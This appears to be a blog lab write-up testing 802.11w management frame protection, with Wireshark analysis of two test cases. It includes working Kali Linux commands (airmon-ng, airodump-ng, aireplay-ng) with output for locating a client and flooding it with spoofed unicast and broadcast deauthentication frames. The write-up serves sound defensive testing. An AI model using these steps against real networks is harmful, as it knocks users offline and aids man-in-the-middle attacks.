802.11w standard was introduced to protect WLAN management frames so that the WLAN stations can be protected against deauthentication OR Rogue Association attacks sent by an attacker.
A very interesting piece here is sending spoofed deauthentication broadcast OR Unicast messages. There are multiple software that can be used for this purpose, but I will be using Kali Linux Server which is available as an open-source. The devices involved in my testing are APs (Access Points for WLAN), Laptop running Kali Linux Server and an external WiFi NIC card.
Schematic:
Topology:
- AP1 broadcasting SSID that is configured to use 802.11w Management Frame Protection with settings set as 802.11w capable and required.
- Kali Linux is running on a Laptop which has inbuilt tools to generate WLAN packets to send deauth messages as broadcast or unicast. A WLAN USB NIC is connected to the Linux server which will be used to monitor and send WLAN packets.
- A MAC laptop and a Mobile device are used as test clients that connect to the SSIDs.
- All of these devices are visible to each other and are in a location that does not affect any other areas.
Important Note: The setup here has devices that are capable of doing DOS, Man in the Middle, spoofing, forging data packets, etc kind of attacks. The current tests are done considering the legality consequences and are isolated completely from the rest of the networks. If you plan to do the same, make sure you do this in the secluded area as these attacks can lead to legal consequences.
Set up Kali Linux Server to send deauth messages
Step1: List the available wireless interfaces by running airmon-ng.
root@kali-balram:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)
phy1 wlan1 rt2800usb Linksys WUSB600N v2 Dual-Band Wireless-N Network Adapter [Ralink RT3572]
Step2: Enable monitor mode for the USB NIC card. “wlan1” in our case.
root@kali-balram:~# airmon-ng start wlan1
Found 3 processes that could cause trouble.
Kill them using ‘airmon-ng check kill’ before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
550 NetworkManager
619 wpa_supplicant
651 dhclient
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)
phy2 wlan1 rt2800usb Linksys WUSB600N v2 Dual-Band Wireless-N Network Adapter [Ralink RT3572]
(mac80211 monitor mode vif enabled for [phy2]wlan1 on [phy2]wlan1mon)
(mac80211 station mode vif disabled for [phy2]wlan1)
Step3: Determine the target Victim MAC Address. Use -c if you know the channel, if not remove “-c 149” and the adapter will start scanning for all available channels.
root@kali-balram:~# airodump-ng -c 44 wlan1mon
CH 44 ][ Elapsed: 30 s ][ 2020-04-06 21:32 ][ WPA handshake: 30:xx:xx:xx:xx:20
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
30:xx:xx:xx:xx:20 -73 100 310 34 1 44 260 WPA2 CCMP BHL-80211W-AP1
BSSID STATION PWR Rate Lost Frames Probe
30:xx:xx:xx:xx:20 F8:95:EA:B7:61:FD -66 6e-24 22 60 BHL-80211W-AP1
Step4: Note the BSSID and Station MAC address.
Step5 (a): Send a deauth unicast to the Station MAC address noted. Here -0 is the code for deauthentication message code and another 0 is for sending the same continuously. If you see ACKs that means the Station (WLAN Test Client) is responding to the deauthentication messages sent. Also, -a is the BSSID and -c is the Station MAC Address.
root@kali-balram:~# aireplay-ng -0 0 -a 30:xx:xx:xx:xx:20 -c F8:95:EA:B7:61:FD wlan1mon
21:34:22 Waiting for beacon frame (BSSID: 30:xx:xx:xx:xx:20) on channel 44
21:34:23 Sending 64 directed DeAuth (code 7). STMAC: [F8:95:EA:B7:61:FD] [22|39 ACKs]
21:34:24 Sending 64 directed DeAuth (code 7). STMAC: [F8:95:EA:B7:61:FD] [ 0|39 ACKs]
21:34:24 Sending 64 directed DeAuth (code 7). STMAC: [F8:95:EA:B7:61:FD] [ 0| 7 ACKs]
21:34:24 Sending 64 directed DeAuth (code 7). STMAC: [F8:95:EA:B7:61:FD] [ 0| 1 ACKs]
21:34:25 Sending 64 directed DeAuth (code 7). STMAC: [F8:95:EA:B7:61:FD] [82|14 ACKs]
21:34:26 Sending 64 directed DeAuth (code 7). STMAC: [F8:95:EA:B7:61:FD] [126|22 ACKs]
21:34:26 Sending 64 directed DeAuth (code 7). STMAC: [F8:95:EA:B7:61:FD] [26|10 ACKs]
Step5 (b): Send deauth broadcast. Here the deauth packet is sent as a broadcast packet with the spoofed BSSID MAC Address of AP.
root@kali-balram:~# aireplay-ng -0 0 -a 30:xx:xx:xx:xx:20 wlan1mon
21:15:38 Waiting for beacon frame (BSSID: 30:xx:xx:xx:xx:20) on channel 44
NB: this attack is more effective when targeting
a connected wireless client (-c <client’s mac>).
21:15:39 Sending DeAuth (code 7) to broadcast — BSSID: [30:xx:xx:xx:xx:20]
21:15:39 Sending DeAuth (code 7) to broadcast — BSSID: [30:xx:xx:xx:xx:20]
21:15:40 Sending DeAuth (code 7) to broadcast — BSSID: [30:xx:xx:xx:xx:20]
21:15:40 Sending DeAuth (code 7) to broadcast — BSSID: [30:xx:xx:xx:xx:20]
A Few Test Cases
Case 1: 802.11w enabled client not able to connect.
Mobile client trying to connect to 802.11w enabled SSID. Although the standard protects the management frames, it doesn’t do the same for all the management frames. The association and authentication frames are not protected. The standard defines the encryption/protection of the frame AFTER the client is authenticated completely. To test this case, we have a mobile client 802.11w capable of connecting to the 802.11w enabled SSID. Wireshark packet captures are collected using MAC Book which is sniffing the air. Please note that these captures can also be collected using the Kali Linux Server, but for keeping the roles clear I am using the MAC book to collect the WLAN Captures. Steps to do this test:
- Using Wireless Utility, start the packet captures on the channel where there 802.11w SSID is broadcasting.
- Set the Kali Linux Server to send deauthentication broadcast messages as shown in the above set up steps (Step5 (a)).
- Try connecting a WLAN Mobile client to the 802.11w enabled SSID.
- Verify that the Mobile client is not able to connect.
- Download the Wireshark Captures from the MAC Book for further analysis and stop the deauth broadcasts.
- Wireshark Captures Analysis:
- As seen in the above screenshot, deauthentication messages intercept the normal association and authentication process for the client and hence irrespective of 802.11w being enabled the WLAN devices will not be able to connect.
- Same is the behaviour if the Deauthentication messages are sent as Unicast.
Case 2: 802.11w enabled client Connected to the 802.11w capable SSID.
Mobile Client now already connected to the 802.11w capable SSID. Here irrespective of the deauthentication being Broadcast or Unicast, the user will not get disconnected. The reason being the Deauth messages are supposed to be encrypted and as per the 802.11w standard, only the parties which are participating in 802.11w negotiation will have the keys to encrypt these packets. Hence whenever an attacker tries to send a Deauth packet for gaining Man in the Middle Access or to perform a DOS attack, the 802.11w capable Stations can ignore these packets and verify if it is from the legitimate source by checking the encryption details on the spoofed packet. Security Association (SA) teardown feature of 802.11w also helps in maintaining the connection between the two parties. This negotiation happens whenever an unencrypted management frame (post-authentication i.e. after case 1 as mentioned above) is sent either to the AP or the WLAN Client. Steps to do this test:
- Using Wireless Utility, start the packet captures on the channel where there 802.11w SSID is broadcasting.
- Try connecting a WLAN Mobile client to the 802.11w enabled SSID.
- Verify that the Mobile client is able to connect.
- Set the Kali Linux Server to send deauthentication broadcast messages as shown in the above set up steps (Step5 (a)).
- Download the Wireshark Captures from the MAC Book for further analysis and stop the deauth broadcasts.
- Wireshark Capture Analysis:
- As shown in the above frame, the attacker is sending a deauth unicast to the Station which is already connected as the 802.11w client. However, this frame is not encrypted as we can see the reason for deauth message. The reason for deauth should not be visible in an encrypted deauth message.
- The Station acknowledges the frame by sending a deauth packet to the SSID but again un-encrypted. See the below frame screenshot:
- A SA teardown happens wherein both the AP and the Station confirms that deauth sent is indeed not from a legitimate source and hence the Station doesn’t disconnect actually.
Wireless 